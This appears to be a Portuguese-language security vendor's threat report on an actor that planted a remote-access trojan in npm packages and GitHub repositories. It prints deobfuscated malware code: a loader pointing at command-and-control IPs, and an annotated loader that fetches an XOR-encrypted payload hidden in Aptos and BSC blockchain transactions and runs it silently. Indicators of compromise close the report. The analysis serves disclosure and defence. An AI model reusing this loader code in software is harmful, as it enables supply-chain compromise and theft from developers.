Talvez tenha visto a notícia recente sobre um grupo de agentes maliciosos que comprometeu 16 pacotes populares relacionados com React Native Aria e GlueStack, que descobrimos e documentámos. aqui. Anteriormente, detectámos que eles comprometeram o pacote agente-de-utilizador-rand em 5 de maio de 2025, conforme relatado aqui.
Desde então, temos acompanhado esse agente de ameaças e observado ataques menores que ainda não documentámos totalmente em público. No entanto, queríamos compilá-los para fornecer uma visão mais ampla de suas atividades.
Pacotes maliciosos iniciais
Em 8 de maio de 2025, os nossos sistemas já nos tinham alertado sobre dois novos pacotes no npm que pareciam ser maliciosos. São eles:


Ambos foram carregados pelo mesmo utilizador, aminengineerings, registado com o e-mail aminengineerings@gmail[.]comDesde as primeiras versões, ambas continham a carga maliciosa, indicando que este pacote pertence aos próprios autores da ameaça.

Mais pacotes maliciosos
Também observámos dois pacotes adicionais lançados pelo atacante após o ataque ao gluestack. Os pacotes foram lançados em 8 de junho de 2025, sob os nomes tailwindcss-animate-expand e mongoose-lit. Estes foram divulgados por um utilizador chamado mattfarser. O utilizador foi rapidamente eliminado depois disso.
Especificamente, o tailwindcss-animate-expand O pacote é digno de nota, pois tem uma estrutura de carga útil diferente. A primeira parte dele tem o seguinte aspecto:
global['r']=require;(function(){var Afr='',xzH=906-895;...Já não vemos o global[‘_V’] variável a ser definida. Quando executamos isto numa área restrita, vemos que a carga final também é ligeiramente diferente. A carga fica assim após a desofuscação:
global._V = 'A4';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c('child_process');
const j = c('crypto');
const k = f.platform();
const l = k.startsWith("win");
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === 'undefined' ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, 'node_modules'));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A("axios");
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
"stdio": "inherit",
windowsHide: true
};
const W = {
"stdio": "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c("axios");
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...
O que é especialmente interessante é que vemos que a versão é A4, que foi mencionado no ataque do fim de semana como um sinal para usar o novo servidor C2.
Também vemos que o "antigo" servidor C2 não é mais mencionado. Em vez disso, eles adicionaram o IP 166.88.4[.]2.
Sinais de alerta
Antes deste ataque, notámos que alguns pacotes pequenos estavam a ser comprometidos. Aqui estão os pacotes que notámos:
Esses pacotes pertencem a três indivíduos diferentes e têm menos de 100 downloads por semana. Parece que esses agentes de ameaças são consistentemente capazes de comprometer os tokens das contas npm.
Repositórios GitHub comprometidos
À medida que investigávamos esses ataques mais a fundo, decidimos examinar outros ecossistemas em busca de evidências que pudessem fornecer mais informações sobre como esses agentes de ameaças operam. Conseguimos detectar 19 repositórios no GitHub que foram comprometidos pelos mesmos agentes de ameaças:
Há alguns commits que se destacam nestes, sendo um exemplo:

O agente malicioso alterou ligeiramente a carga útil que utiliza. Neste caso, codificou a carga útil em base64, que passa para eval(). Aqui está a carga útil descodificada, anotada com comentários que descrevem a sua funcionalidade.
/*****************************************************************************************
* Malware “loader” that hides its real payload on two block-chains. *
* Flow ⬇️ *
* 🥇 Step-1 Read pointer on Aptos *
* 🥈 Step-2 Use pointer on Binance Smart Chain (BSC) *
* 🥉 Step-3 Pull out hidden blob *
* 🗝️ Step-4 Decode & decrypt *
* 🚀 Step-5 Run it silently *
*****************************************************************************************/
/* ───────────────────────────── Bootstrap ───────────────────────────── */
global['r'] = require; // save `require` as global.r (little obfuscation)
(async () => {
/* quick aliases */
const c = global; // shorthand for `global`
const i = c['r']; // shorthand for `require`
/* 🛠 Helper 1: GET url → JSON */
async function e (url) {
return new Promise((resolve, reject) => {
i('https')
.get(url, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject)
.end();
});
}
/* 🛠 Helper 2: call BSC JSON-RPC */
async function o (method, params = []) {
return new Promise((resolve, reject) => {
const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
const opts = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };
const req = i('https')
.request(opts, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject);
req.write(payload);
req.end();
});
}
/* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
async function t (aptosAccount) {
/* 🥇 STEP-1 Read pointer on Aptos */
const latestTx = await e(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
);
const bscHash = latestTx[0].payload.arguments[0]; // pointer → BSC tx-hash
/* 🥈 STEP-2 Fetch BSC transaction carrying the payload */
const bscTx = await o('eth_getTransactionByHash', [bscHash]);
const hexBlob = bscTx.result.input.slice(2); // drop "0x"
/* 🥉 STEP-3 Pull out hidden blob (still unreadable) */
const rawText = Buffer.from(hexBlob, 'hex').toString('utf8');
const b64Chunk = rawText.split('..')[1]; // keep part after ".."
/* 🗝️ STEP-4 Decode & decrypt */
const encrypted = atob(b64Chunk); // Base-64 → binary string
const KEY = '$v$5;kmc$ldm*5SA';
let payload = '';
for (let j = 0; j < encrypted.length; j++) {
payload += String.fromCharCode(
encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
);
}
return payload; // plain-text JS to execute
}
/* 🚀 STEP-5 Run it silently in the background */
try {
const script = await t(
'0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
);
i('child_process')
.spawn(
'node',
['-e', `global['_V']='${c['_V'] || 0}';${script}`],
{ detached: true, stdio: 'ignore', windowsHide: true }
)
.on('error', () => { /* swallow child errors */ });
} catch (err) {
/* stay quiet on any failure */
}
})(); Este código é inteligente, pois se autoinicia parcialmente a partir do conteúdo de duas cadeias de blocos diferentes. Aqui está uma visão geral passo a passo:
A transação na Binance Smart Chain pode ser encontrada abaixo. Vale a pena notar que a carteira e o contrato existem desde 7 de fevereiro de 2025:
https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Executámos o código numa sandbox e obtivemos a carga útil final, que era a mesma que já tínhamos documentado anteriormente, sem alterações significativas.
Conclusões
Vemos que o agente malicioso está a comprometer ativa e consistentemente não apenas pacotes npm, mas também repositórios GitHub. Além disso, eles têm experimentado a implementação de seus próprios pacotes com seu RAT. Eles também começaram a usar Blockchains como um método para divulgar seu código malicioso.
Indicadores de comprometimento
Pacotes
solanautilweb3-socketiotailwindcss-animate-expandmongoose-lite@lfwfinance/sdk@lfwfinance/sdk-devalgorand-htlcavm-satoshi-dicebiatec-avm-posto-de-combustívelarc200-clientecputil-nó
IPs
166.88.4[.]2136.0.9[.]8
Conta Aptos
0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d
Endereço da BSC
0x9BC1355344B54DEDf3E44296916eD15653844509
Contrato BSC
0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c
Proteja seu software agora



.avif)
